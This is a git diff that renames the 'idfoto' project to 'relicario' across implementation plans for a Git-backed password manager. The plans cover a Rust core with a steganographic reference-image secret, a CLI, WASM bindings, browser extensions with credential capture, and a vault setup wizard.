if y.width < MIN_DIMENSION as usize || y.height < MIN_DIMENSION as usize {
return Err(IdfotoError::ImageTooSmall {
return Err(RelicarioError::ImageTooSmall {
min_width: MIN_DIMENSION,
min_height: MIN_DIMENSION,
actual_width: y.width as u32,
@@ -1739,7 +1739,7 @@ pub fn embed(carrier_jpeg: &[u8], secret: &[u8; 32]) -> Result<Vec<u8>> {
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50); // cap at 50 copies
if num_copies < MIN_COPIES {
return Err(IdfotoError::ImgSecret(format!(
return Err(RelicarioError::ImgSecret(format!(
"image too small for embedding: only {num_copies} copies fit, need at least {MIN_COPIES}"
)));
}
@@ -1793,7 +1793,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let new_x = region.x_offset as isize + dx;
let new_y = region.y_offset as isize + dy;
if new_x < 0 || new_y < 0 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
region.x_offset = new_x as usize;
region.y_offset = new_y as usize;
@@ -1808,7 +1808,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let num_copies = (total_blocks / BLOCKS_PER_COPY).min(50);
if num_copies < 1 {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
let blocks_needed = num_copies * BLOCKS_PER_COPY;
@@ -1857,7 +1857,7 @@ fn extract_at_offset(jpeg_bytes: &[u8], dx: isize, dy: isize) -> Result<[u8; 32]
let total_votes: u32 = bit_votes.iter().map(|v| v[0] + v[1]).sum();
let min_confidence = total_votes * 3 / 4; // at least 75% of votes should agree
if confidence < min_confidence {
return Err(IdfotoError::ExtractionFailed);
return Err(RelicarioError::ExtractionFailed);
}
Ok(bits_to_bytes(&secret_bits))
@@ -1894,11 +1894,11 @@ fn bits_to_bytes(bits: &[u8]) -> [u8; 32] {
fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u8>> {
let reader = ImageReader::new(Cursor::new(original_jpeg))
.with_guessed_format()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to read image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to read image: {e}")))?;
let img = reader
.decode()
.map_err(|e| IdfotoError::ImgSecret(format!("failed to decode image: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to decode image: {e}")))?;
let rgb = img.to_rgb8();
let (width, height) = (rgb.width(), rgb.height());
@@ -1933,14 +1933,14 @@ fn reconstruct_jpeg(original_jpeg: &[u8], y_modified: &YChannel) -> Result<Vec<u
let encoder = JpegEncoder::new_with_quality(&mut buf, 92);
encoder
.write_image(output.as_raw(), width, height, image::ExtendedColorType::Rgb8)
.map_err(|e| IdfotoError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
.map_err(|e| RelicarioError::ImgSecret(format!("failed to encode JPEG: {e}")))?;
Ok(buf)
}
```
- [ ] **Step 4: Run tests**
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
Expected: All tests PASS including embed/extract round-trip.
- [ ] **Step 5: Add a JPEG recompression survival test**
@@ -1976,13 +1976,13 @@ Add to `mod tests`:
- [ ] **Step 6: Run all tests**
Run: `cargo test -p idfoto-core`
Run: `cargo test -p relicario-core`
Expected: All tests PASS.
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add imgsecret embed/extract with redundancy and majority voting"
```
@@ -1991,7 +1991,7 @@ git commit -m "feat: add imgsecret embed/extract with redundancy and majority vo
### Task 10: imgsecret — Crop Recovery
**Files:**
- Modify: `crates/idfoto-core/src/imgsecret.rs`
- Modify: `crates/relicario-core/src/imgsecret.rs`
- [ ] **Step 1: Write failing crop test**
@@ -2033,7 +2033,7 @@ Add to `mod tests`:
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p idfoto-core crop`
Run: `cargo test -p relicario-core crop`
Expected: FAIL — `extract_with_crop_recovery` not defined.
- [ ] **Step 3: Write crop recovery implementation**
@@ -2066,7 +2066,7 @@ pub fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
```
@@ -2110,19 +2110,19 @@ fn extract_with_crop_recovery(jpeg_bytes: &[u8]) -> Result<[u8; 32]> {
}
}
Err(IdfotoError::ExtractionFailed)
Err(RelicarioError::ExtractionFailed)
}
```
- [ ] **Step 4: Run all imgsecret tests**
Run: `cargo test -p idfoto-core imgsecret -- --nocapture`
Run: `cargo test -p relicario-core imgsecret -- --nocapture`
Expected: All tests PASS including crop recovery.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-core/src/imgsecret.rs
git add crates/relicario-core/src/imgsecret.rs
git commit -m "feat: add crop recovery with multi-offset extraction search"
```
@@ -2131,15 +2131,15 @@ git commit -m "feat: add crop recovery with multi-offset extraction search"
### Task 11: CLI — Scaffolding, init, generate
**Files:**
- Modify: `crates/idfoto-cli/src/main.rs`
- Modify: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Write the clap CLI structure**
```rust
// crates/idfoto-cli/src/main.rs
// crates/relicario-cli/src/main.rs
use anyhow::{Context, Result};
use clap::{Parser, Subcommand};
use idfoto_core::{
use relicario_core::{
decrypt_entry, decrypt_manifest, derive_master_key, encrypt_entry, encrypt_manifest,
generate_entry_id, Entry, KdfParams, Manifest, ManifestEntry,
};
@@ -2148,7 +2148,7 @@ use std::path::{Path, PathBuf};
use std::process::Command;
#[derive(Parser)]
#[command(name = "idfoto", version, about = "Git-backed password manager with reference image authentication")]
#[command(name = "relicario", version, about = "Git-backed password manager with reference image authentication")]
struct Cli {
#[command(subcommand)]
command: Commands,
@@ -2230,21 +2230,21 @@ fn vault_dir() -> PathBuf {
PathBuf::from(".")
}
fn idfoto_dir() -> PathBuf {
vault_dir().join(".idfoto")
fn relicario_dir() -> PathBuf {
vault_dir().join(".relicario")
}
fn read_salt() -> Result<[u8; 32]> {
let bytes = fs::read(idfoto_dir().join("salt"))
.context("failed to read .idfoto/salt — is this a vault directory?")?;
let bytes = fs::read(relicario_dir().join("salt"))
.context("failed to read .relicario/salt — is this a vault directory?")?;
let mut salt = [0u8; 32];
salt.copy_from_slice(&bytes);
Ok(salt)
}
fn read_params() -> Result<KdfParams> {
let json = fs::read_to_string(idfoto_dir().join("params.json"))
.context("failed to read .idfoto/params.json")?;
let json = fs::read_to_string(relicario_dir().join("params.json"))
.context("failed to read .relicario/params.json")?;
Ok(serde_json::from_str(&json)?)
}
@@ -2256,7 +2256,7 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
let jpeg_bytes = fs::read(image_path)
.context("failed to read reference image")?;
let image_secret = idfoto_core::imgsecret::extract(&jpeg_bytes)
let image_secret = relicario_core::imgsecret::extract(&jpeg_bytes)
.map_err(|e| anyhow::anyhow!("failed to extract image secret: {e}"))?;
let salt = read_salt()?;
@@ -2268,9 +2268,9 @@ fn unlock(image_path: &Path) -> Result<[u8; 32]> {
Ok(master_key)
}
/// Get reference image path — from env var IDFOTO_IMAGE or prompt.
/// Get reference image path — from env var RELICARIO_IMAGE or prompt.
fn get_image_path() -> Result<PathBuf> {
if let Ok(path) = std::env::var("IDFOTO_IMAGE") {
if let Ok(path) = std::env::var("RELICARIO_IMAGE") {
return Ok(PathBuf::from(path));
}
eprint!("Reference image path: ");
@@ -2328,7 +2328,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
rand::RngCore::fill_bytes(&mut rand::rngs::OsRng, &mut image_secret);
println!("Embedding secret into reference image...");
let stego_jpeg = idfoto_core::imgsecret::embed(&carrier_jpeg, &image_secret)
let stego_jpeg = relicario_core::imgsecret::embed(&carrier_jpeg, &image_secret)
.map_err(|e| anyhow::anyhow!("failed to embed secret: {e}"))?;
fs::write(output_path, &stego_jpeg)
.context("failed to write reference image")?;
@@ -2354,14 +2354,14 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
.map_err(|e| anyhow::anyhow!("key derivation failed: {e}"))?;
// 5. Write vault structure
fs::create_dir_all(idfoto_dir())?;
fs::create_dir_all(relicario_dir())?;
fs::create_dir_all(vault_dir().join("entries"))?;
fs::write(idfoto_dir().join("salt"), salt)?;
fs::write(relicario_dir().join("salt"), salt)?;
fs::write(
idfoto_dir().join("params.json"),
relicario_dir().join("params.json"),
serde_json::to_string_pretty(&params)?,
)?;
fs::write(idfoto_dir().join("devices.json"), "[]")?;
fs::write(relicario_dir().join("devices.json"), "[]")?;
// 6. Write empty manifest
let manifest = Manifest::new();
@@ -2373,7 +2373,7 @@ fn cmd_init(image_path: &Path, output_path: &Path) -> Result<()> {
// Add .gitignore
fs::write(vault_dir().join(".gitignore"), "reference.jpg\n")?;
git_commit("feat: initialize idfoto vault")?;
git_commit("feat: initialize relicario vault")?;
println!("\nVault initialized successfully!");
println!("IMPORTANT: Keep your reference image ({}) safe — you need it to unlock the vault.", output_path.display());
@@ -2664,7 +2664,7 @@ Expected: Shows all subcommands with descriptions.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-cli/src/main.rs
git add crates/relicario-cli/src/main.rs
git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, generate"
```
@@ -2673,7 +2673,7 @@ git commit -m "feat: add full CLI with init, add, get, list, edit, rm, sync, gen
### Task 12: CLI — Device Management
**Files:**
- Modify: `crates/idfoto-cli/src/main.rs`
- Modify: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Add device subcommands to the CLI**
@@ -2733,14 +2733,14 @@ struct DeviceEntry {
}
fn read_devices() -> Result<Vec<DeviceEntry>> {
let json = fs::read_to_string(idfoto_dir().join("devices.json"))
let json = fs::read_to_string(relicario_dir().join("devices.json"))
.context("failed to read devices.json")?;
Ok(serde_json::from_str(&json)?)
}
fn write_devices(devices: &[DeviceEntry]) -> Result<()> {
let json = serde_json::to_string_pretty(devices)?;
fs::write(idfoto_dir().join("devices.json"), json)?;
fs::write(relicario_dir().join("devices.json"), json)?;
Ok(())
}
@@ -2759,7 +2759,7 @@ fn cmd_device_add(name: &str) -> Result<()> {
// Save private key to local config
let config_dir = dirs::config_dir()
.context("no config directory")?
.join("idfoto");
.join("relicario");
fs::create_dir_all(&config_dir)?;
fs::write(
config_dir.join(format!("{name}.key")),
@@ -2806,7 +2806,7 @@ fn cmd_device_revoke(name: &str) -> Result<()> {
- [ ] **Step 3: Add hex dependency**
Add to `crates/idfoto-cli/Cargo.toml` under `[dependencies]`:
Add to `crates/relicario-cli/Cargo.toml` under `[dependencies]`:
```toml
hex = "0.4"
@@ -2824,7 +2824,7 @@ Expected: Compiles cleanly.
- [ ] **Step 5: Commit**
```bash
git add crates/idfoto-cli/
git add crates/relicario-cli/
git commit -m "feat: add device add/list/revoke commands with ed25519 key management"
```
@@ -2833,16 +2833,16 @@ git commit -m "feat: add device add/list/revoke commands with ed25519 key manage
### Task 13: Integration Test — Full Vault Workflow
**Files:**
- Create: `crates/idfoto-core/tests/integration.rs`
- Create: `crates/relicario-core/tests/integration.rs`
This test exercises the full flow: generate secret → embed → derive key → encrypt entry → decrypt entry → extract secret from re-encoded image.
- [ ] **Step 1: Write the integration test**
```rust
// crates/idfoto-core/tests/integration.rs
use idfoto_core::*;
use idfoto_core::imgsecret;
// crates/relicario-core/tests/integration.rs
use relicario_core::*;
use relicario_core::imgsecret;
fn make_test_jpeg(width: u32, height: u32) -> Vec<u8> {
use image::codecs::jpeg::JpegEncoder;
@@ -2967,7 +2967,7 @@ fn two_factor_independence() {
- [ ] **Step 2: Run integration tests**
Run: `cargo test -p idfoto-core --test integration`
Run: `cargo test -p relicario-core --test integration`
Expected: Both tests PASS.
- [ ] **Step 3: Run the full test suite**
@@ -2978,7 +2978,7 @@ Expected: ALL tests across all crates PASS.
- [ ] **Step 4: Commit**
```bash
git add crates/idfoto-core/tests/
git add crates/relicario-core/tests/
git commit -m "test: add full-workflow integration test and two-factor independence verification"
```
@@ -2987,7 +2987,7 @@ git commit -m "test: add full-workflow integration test and two-factor independe
## Plan 2 Preview
After this plan is complete and passing, Plan 2 covers:
- **idfoto-wasm**: wasm-bindgen wrapper around idfoto-core (compile with `wasm-pack build`)
- **relicario-wasm**: wasm-bindgen wrapper around relicario-core (compile with `wasm-pack build`)
- **Chrome MV3 extension**: TypeScript popup + content script + service worker, loading the WASM module for inline crypto
- **Extension UX**: passphrase prompt, entry list/search, autofill detection

View File

@@ -1,4 +1,4 @@
# idfoto Credential Capture Implementation Plan
# relicario Credential Capture Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
@@ -8,7 +8,7 @@
**Tech Stack:** TypeScript, Chrome extension APIs, DOM injection
**Spec:** `docs/superpowers/specs/2026-04-12-idfoto-credential-capture-design.md`
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-credential-capture-design.md`
---
@@ -24,7 +24,7 @@ extension/src/popup/components/settings.ts # Settings view
### Modified files
```
extension/src/shared/types.ts # Add IdfotoSettings interface
extension/src/shared/types.ts # Add RelicarioSettings interface
extension/src/shared/messages.ts # Add new message types
extension/src/service-worker/index.ts # Handle new messages
extension/src/content/detector.ts # Import and init capture
@@ -40,17 +40,17 @@ extension/src/popup/components/unlock.ts # Wire settings button to settings vie
- Modify: `extension/src/shared/types.ts`
- Modify: `extension/src/shared/messages.ts`
- [ ] **Step 1: Add IdfotoSettings to types.ts**
- [ ] **Step 1: Add RelicarioSettings to types.ts**
Add at the end of `extension/src/shared/types.ts`:
```typescript
export interface IdfotoSettings {
export interface RelicarioSettings {
captureEnabled: boolean;
captureStyle: 'bar' | 'toast';
}
export const DEFAULT_SETTINGS: IdfotoSettings = {
export const DEFAULT_SETTINGS: RelicarioSettings = {
captureEnabled: false,
captureStyle: 'bar',
};
@@ -64,7 +64,7 @@ Add these to the `Request` union in `extension/src/shared/messages.ts`:
| { type: 'check_credential'; url: string; username: string; password: string }
| { type: 'blacklist_site'; hostname: string }
| { type: 'get_settings' }
| { type: 'update_settings'; settings: Partial<import('./types').IdfotoSettings> }
| { type: 'update_settings'; settings: Partial<import('./types').RelicarioSettings> }
| { type: 'get_blacklist' }
| { type: 'remove_blacklist'; hostname: string }
```
@@ -88,16 +88,16 @@ git commit -m "feat: add settings and credential capture message types"
Add these helper functions to `extension/src/service-worker/index.ts`, after the existing storage helpers:
```typescript
import type { IdfotoSettings } from '../shared/types';
import type { RelicarioSettings } from '../shared/types';
import { DEFAULT_SETTINGS } from '../shared/types';
async function loadSettings(): Promise<IdfotoSettings> {
async function loadSettings(): Promise<RelicarioSettings> {
const data = await chrome.storage.local.get(['settings']);
if (!data.settings) return { ...DEFAULT_SETTINGS };
return { ...DEFAULT_SETTINGS, ...data.settings };
}
async function saveSettings(settings: IdfotoSettings): Promise<void> {
async function saveSettings(settings: RelicarioSettings): Promise<void> {
await chrome.storage.local.set({ settings });
}
@@ -356,9 +356,9 @@ export function hookForms(): void {
// --- Prompt UI ---
/// Remove any existing idfoto prompt from the page.
/// Remove any existing relicario prompt from the page.
function removePrompt(): void {
document.getElementById('idfoto-capture-prompt')?.remove();
document.getElementById('relicario-capture-prompt')?.remove();
}
/// Show a save/update prompt.
@@ -385,7 +385,7 @@ function showPrompt(
: `Save login for ${hostname}?`;
const container = document.createElement('div');
container.id = 'idfoto-capture-prompt';
container.id = 'relicario-capture-prompt';
// Common styles
const baseStyles = `
@@ -451,7 +451,7 @@ function showPrompt(
// Brand label
const brand = document.createElement('span');
brand.textContent = 'idfoto';
brand.textContent = 'relicario';
brand.style.cssText = 'color: #58a6ff; font-weight: normal; letter-spacing: 1px;';
// Message text
@@ -627,7 +627,7 @@ Create `extension/src/popup/components/settings.ts`:
/// Settings view — configure credential capture and manage blacklist.
import { setState, sendMessage, navigate, escapeHtml } from '../popup';
import type { IdfotoSettings } from '../../shared/types';
import type { RelicarioSettings } from '../../shared/types';
export async function renderSettings(app: HTMLElement): Promise<void> {
// Load current settings and blacklist in parallel.
@@ -636,8 +636,8 @@ export async function renderSettings(app: HTMLElement): Promise<void> {
sendMessage({ type: 'get_blacklist' }),
]);
const settings: IdfotoSettings = settingsResp.ok
? settingsResp.data as IdfotoSettings
const settings: RelicarioSettings = settingsResp.ok
? settingsResp.data as RelicarioSettings
: { captureEnabled: false, captureStyle: 'bar' };
const blacklist: string[] = blacklistResp.ok

View File

@@ -1,4 +1,4 @@
# idfoto Firefox Extension Port Implementation Plan
# relicario Firefox Extension Port Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
@@ -8,7 +8,7 @@
**Tech Stack:** TypeScript, webpack, Firefox WebExtensions MV3
**Spec:** `docs/superpowers/specs/2026-04-12-idfoto-firefox-extension-design.md`
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-firefox-extension-design.md`
---
@@ -46,12 +46,12 @@ Create `extension/manifest.firefox.json`:
```json
{
"manifest_version": 3,
"name": "idfoto",
"name": "relicario",
"version": "0.1.0",
"description": "Two-factor encrypted password manager",
"browser_specific_settings": {
"gecko": {
"id": "idfoto@adlee.work",
"id": "relicario@adlee.work",
"strict_min_version": "128.0"
}
},
@@ -84,8 +84,8 @@ Create `extension/manifest.firefox.json`:
"setup.html",
"setup.js",
"styles.css",
"idfoto_wasm_bg.wasm",
"idfoto_wasm.js"
"relicario_wasm_bg.wasm",
"relicario_wasm.js"
]
}
]
@@ -126,8 +126,8 @@ module.exports = {
{ from: 'src/popup/styles.css', to: 'styles.css' },
{ from: 'setup.html', to: '.' },
{ from: 'icons', to: 'icons' },
{ from: 'wasm/idfoto_wasm_bg.wasm', to: '.' },
{ from: 'wasm/idfoto_wasm.js', to: '.' },
{ from: 'wasm/relicario_wasm_bg.wasm', to: '.' },
{ from: 'wasm/relicario_wasm.js', to: '.' },
],
}),
],
@@ -147,7 +147,7 @@ In `extension/package.json`, update the `scripts` section:
"build:all": "npm run build:wasm && npm run build && npm run build:firefox",
"dev": "webpack --mode development --watch",
"dev:firefox": "webpack --config webpack.firefox.config.js --mode development --watch",
"build:wasm": "wasm-pack build ../crates/idfoto-wasm --target web --out-dir ../../extension/wasm"
"build:wasm": "wasm-pack build ../crates/relicario-wasm --target web --out-dir ../../extension/wasm"
}
}
```
@@ -189,9 +189,9 @@ In `extension/src/service-worker/index.ts`, replace the current `initWasm` funct
// (Chrome) and the default export (Firefox) are available.
// @ts-ignore TS2307 — resolved by webpack alias / copy
import initDefault, { initSync } from '../../wasm/idfoto_wasm.js';
import initDefault, { initSync } from '../../wasm/relicario_wasm.js';
// @ts-ignore TS2307
import * as wasmBindings from '../../wasm/idfoto_wasm.js';
import * as wasmBindings from '../../wasm/relicario_wasm.js';
type WasmModule = typeof wasmBindings;
let wasm: WasmModule | null = null;
@@ -204,12 +204,12 @@ async function initWasm(): Promise<WasmModule> {
if (isServiceWorker) {
// Chrome: fetch WASM binary and instantiate synchronously
const wasmResponse = await fetch(chrome.runtime.getURL('idfoto_wasm_bg.wasm'));
const wasmResponse = await fetch(chrome.runtime.getURL('relicario_wasm_bg.wasm'));
const wasmBytes = await wasmResponse.arrayBuffer();
initSync({ module: new WebAssembly.Module(wasmBytes) });
} else {
// Firefox: background script — dynamic init works
const wasmUrl = chrome.runtime.getURL('idfoto_wasm_bg.wasm');
const wasmUrl = chrome.runtime.getURL('relicario_wasm_bg.wasm');
await initDefault(wasmUrl);
}
@@ -225,13 +225,13 @@ async function initWasm(): Promise<WasmModule> {
Change the doc comment at the top of the file (line 1) from:
```typescript
/// Service worker entry point for the idfoto Chrome extension.
/// Service worker entry point for the relicario Chrome extension.
```
To:
```typescript
/// Background script entry point for the idfoto browser extension.
/// Background script entry point for the relicario browser extension.
///
/// In Chrome this runs as a service worker (MV3). In Firefox this runs
/// as a persistent background script. WASM loading adapts automatically.

View File

@@ -1,14 +1,14 @@
# idfoto Vault Initialization Wizard Implementation Plan
# relicario Vault Initialization Wizard Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Build a browser-based wizard that creates a new idfoto vault, pushes it to Gitea/GitHub via API, downloads the reference image, and optionally configures the Chrome extension.
**Goal:** Build a browser-based wizard that creates a new relicario vault, pushes it to Gitea/GitHub via API, downloads the reference image, and optionally configures the Chrome extension.
**Architecture:** Single HTML page (`extension/setup.html`) bundled by webpack as a new entry point. Reuses the existing git API layer and WASM module. New `embed_image_secret` function added to the WASM crate. The wizard runs entirely client-side — all crypto happens in the browser via WASM.
**Tech Stack:** TypeScript, wasm-bindgen (existing WASM crate), webpack, Chrome extension APIs
**Spec:** `docs/superpowers/specs/2026-04-12-idfoto-init-wizard-design.md`
**Spec:** `docs/superpowers/specs/2026-04-12-relicario-init-wizard-design.md`
---
@@ -17,7 +17,7 @@
### Rust (modified)
```
crates/idfoto-wasm/src/lib.rs # Add embed_image_secret function
crates/relicario-wasm/src/lib.rs # Add embed_image_secret function
```
### Extension (new)
@@ -42,16 +42,16 @@ extension/manifest.json # Add web_accessible_resources for setup.html
## Task 1: Add `embed_image_secret` to WASM Crate
**Files:**
- Modify: `crates/idfoto-wasm/src/lib.rs`
- Modify: `crates/relicario-wasm/src/lib.rs`
- [ ] **Step 1: Write the test**
Add to the `#[cfg(test)] mod tests` block in `crates/idfoto-wasm/src/lib.rs`:
Add to the `#[cfg(test)] mod tests` block in `crates/relicario-wasm/src/lib.rs`:
```rust
#[test]
fn embed_then_extract_round_trip() {
// Create a synthetic test JPEG (same approach as idfoto-core tests)
// Create a synthetic test JPEG (same approach as relicario-core tests)
use image::codecs::jpeg::JpegEncoder;
use image::{ImageBuffer, ImageEncoder, Rgb};
@@ -81,12 +81,12 @@ fn embed_then_extract_round_trip() {
- [ ] **Step 2: Run test to verify it fails**
Run: `cargo test -p idfoto-wasm embed_then_extract`
Run: `cargo test -p relicario-wasm embed_then_extract`
Expected: FAIL — `embed_image_secret` not defined.
- [ ] **Step 3: Add `image` dev-dependency to Cargo.toml**
Add to `crates/idfoto-wasm/Cargo.toml` under `[dev-dependencies]`:
Add to `crates/relicario-wasm/Cargo.toml` under `[dev-dependencies]`:
```toml
[dev-dependencies]
@@ -96,7 +96,7 @@ image = { version = "0.25", default-features = false, features = ["jpeg"] }
- [ ] **Step 4: Implement the function**
Add to `crates/idfoto-wasm/src/lib.rs`, after the `extract_image_secret` function:
Add to `crates/relicario-wasm/src/lib.rs`, after the `extract_image_secret` function:
```rust
/// Embed a 256-bit secret into a carrier JPEG image.
@@ -111,25 +111,25 @@ pub fn embed_image_secret(carrier_jpeg: &[u8], secret: &[u8]) -> Result<Vec<u8>,
let secret: [u8; 32] = secret
.try_into()
.map_err(|_| JsValue::from_str("secret must be exactly 32 bytes"))?;
idfoto_core::imgsecret::embed(carrier_jpeg, &secret)
relicario_core::imgsecret::embed(carrier_jpeg, &secret)
.map_err(|e| JsValue::from_str(&e.to_string()))
}
```
- [ ] **Step 5: Run test to verify it passes**
Run: `cargo test -p idfoto-wasm embed_then_extract`
Run: `cargo test -p relicario-wasm embed_then_extract`
Expected: PASS
- [ ] **Step 6: Rebuild WASM**
Run: `wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm`
Run: `wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm`
Expected: Builds successfully.
- [ ] **Step 7: Commit**
```bash
git add crates/idfoto-wasm/src/lib.rs crates/idfoto-wasm/Cargo.toml
git add crates/relicario-wasm/src/lib.rs crates/relicario-wasm/Cargo.toml
git commit -m "feat: add embed_image_secret to WASM crate"
```
@@ -172,7 +172,7 @@ Create `extension/setup.html`:
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>idfoto — vault setup</title>
<title>relicario — vault setup</title>
<link rel="stylesheet" href="styles.css">
<style>
/* Override popup constraints for full-page layout */
@@ -339,12 +339,12 @@ let state: WizardState = {
// --- WASM ---
type WasmModule = typeof import('idfoto-wasm');
type WasmModule = typeof import('relicario-wasm');
let wasm: WasmModule | null = null;
async function initWasm(): Promise<WasmModule> {
if (wasm) return wasm;
const mod = await import(/* webpackIgnore: true */ '../idfoto_wasm.js');
const mod = await import(/* webpackIgnore: true */ '../relicario_wasm.js');
await mod.default();
wasm = mod;
return mod;
@@ -378,7 +378,7 @@ function render(): void {
const stepNames = ['git host', 'connection', 'create vault', 'done'];
let html = `
<div class="brand" style="font-size:18px;margin-bottom:4px">idfoto setup</div>
<div class="brand" style="font-size:18px;margin-bottom:4px">relicario setup</div>
<div class="wizard-step">step ${state.step} of 4 — ${stepNames[state.step - 1]}</div>
<div class="progress-bar"><div class="progress-bar-fill" style="width:${(state.step / 4) * 100}%"></div></div>
`;
@@ -416,7 +416,7 @@ function renderStep1(): string {
<ol>
<li>Log in to your Gitea instance</li>
<li>Click <code>+</code> → <code>New Repository</code></li>
<li>Name it (e.g. <code>idfoto-vault</code>), leave it <strong>empty</strong> — no README, no .gitignore</li>
<li>Name it (e.g. <code>relicario-vault</code>), leave it <strong>empty</strong> — no README, no .gitignore</li>
<li>Go to <code>Settings</code> → <code>Applications</code> → <code>Manage Access Tokens</code></li>
<li>Generate a new token with <code>repo</code> scope (read/write)</li>
<li>Copy the token — you'll need it in the next step</li>
@@ -425,7 +425,7 @@ function renderStep1(): string {
<div class="label" style="margin-bottom:8px">GITHUB SETUP</div>
<ol>
<li>Go to <strong>github.com</strong> → <code>New Repository</code></li>
<li>Name it (e.g. <code>idfoto-vault</code>), set to <strong>Private</strong>, leave it <strong>empty</strong> — no README, no .gitignore, no license</li>
<li>Name it (e.g. <code>relicario-vault</code>), set to <strong>Private</strong>, leave it <strong>empty</strong> — no README, no .gitignore, no license</li>
<li>Go to <code>Settings</code> → <code>Developer Settings</code> → <code>Personal Access Tokens</code> → <code>Fine-grained tokens</code></li>
<li>Click <code>Generate new token</code></li>
<li>Select <strong>only</strong> the vault repository under "Repository access"</li>
@@ -534,7 +534,7 @@ function renderStep4(): string {
</p>
` : `
<p class="secondary" style="font-size:11px;margin-bottom:8px">
idfoto extension detected. Push your vault config to it?
relicario extension detected. Push your vault config to it?
</p>
<button class="btn" data-action="push-to-extension">Configure Extension</button>
`}
@@ -543,7 +543,7 @@ function renderStep4(): string {
<div class="form-group" style="margin-top:16px">
<div class="label">EXTENSION SETUP</div>
<p class="secondary" style="font-size:11px;margin-bottom:8px">
Install the idfoto extension, then enter these details in the setup wizard:
Install the relicario extension, then enter these details in the setup wizard:
</p>
<div class="config-blob" data-action="copy-config" title="Click to copy">
${escapeHtml(JSON.stringify({
@@ -796,9 +796,9 @@ async function createVault(): Promise<void> {
const manifestEnc = w.encrypt_manifest(emptyManifest, masterKey);
// 7. Push vault files to repo
await git.writeFile('.idfoto/salt', salt, 'feat: initialize idfoto vault');
await git.writeFile('.idfoto/params.json', new TextEncoder().encode(paramsJson), 'chore: add KDF params');
await git.writeFile('.idfoto/devices.json', new TextEncoder().encode('[]'), 'chore: add empty devices list');
await git.writeFile('.relicario/salt', salt, 'feat: initialize relicario vault');
await git.writeFile('.relicario/params.json', new TextEncoder().encode(paramsJson), 'chore: add KDF params');
await git.writeFile('.relicario/devices.json', new TextEncoder().encode('[]'), 'chore: add empty devices list');
await git.writeFile('manifest.enc', new Uint8Array(manifestEnc), 'feat: add encrypted manifest');
}
@@ -872,7 +872,7 @@ Add to `extension/manifest.json`, after the `content_security_policy` block:
```json
"web_accessible_resources": [{
"resources": ["setup.html", "setup.js", "styles.css", "idfoto_wasm_bg.wasm", "idfoto_wasm.js"],
"resources": ["setup.html", "setup.js", "styles.css", "relicario_wasm_bg.wasm", "relicario_wasm.js"],
"matches": ["<all_urls>"]
}]
```
@@ -901,7 +901,7 @@ git commit -m "feat: add setup wizard to webpack build and extension manifest"
- [ ] **Step 1: Rebuild WASM**
```bash
wasm-pack build crates/idfoto-wasm --target web --out-dir ../../extension/wasm
wasm-pack build crates/relicario-wasm --target web --out-dir ../../extension/wasm
```
- [ ] **Step 2: Rebuild extension**
@@ -927,7 +927,7 @@ Expected: All tests pass (including the new `embed_then_extract_round_trip`).
- Step 2: enter real host/token/repo, test connection works
- Step 3: pick a JPEG, enter passphrase, create vault pushes files
- Step 4: download reference image works, extension detection works
4. Verify the vault repo now has `.idfoto/salt`, `.idfoto/params.json`, `.idfoto/devices.json`, `manifest.enc`
4. Verify the vault repo now has `.relicario/salt`, `.relicario/params.json`, `.relicario/devices.json`, `manifest.enc`
5. Open extension popup, unlock with passphrase — should work with the just-created vault
- [ ] **Step 5: Fix any issues found**

View File

@@ -1,14 +1,14 @@
# idfoto WASM + Chrome MV3 Extension Implementation Plan
# relicario WASM + Chrome MV3 Extension Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Compile `idfoto-core` to WASM and wrap it in a Chrome MV3 browser extension with a terminal-aesthetic popup, conservative autofill, and direct Gitea/GitHub API access.
**Goal:** Compile `relicario-core` to WASM and wrap it in a Chrome MV3 browser extension with a terminal-aesthetic popup, conservative autofill, and direct Gitea/GitHub API access.
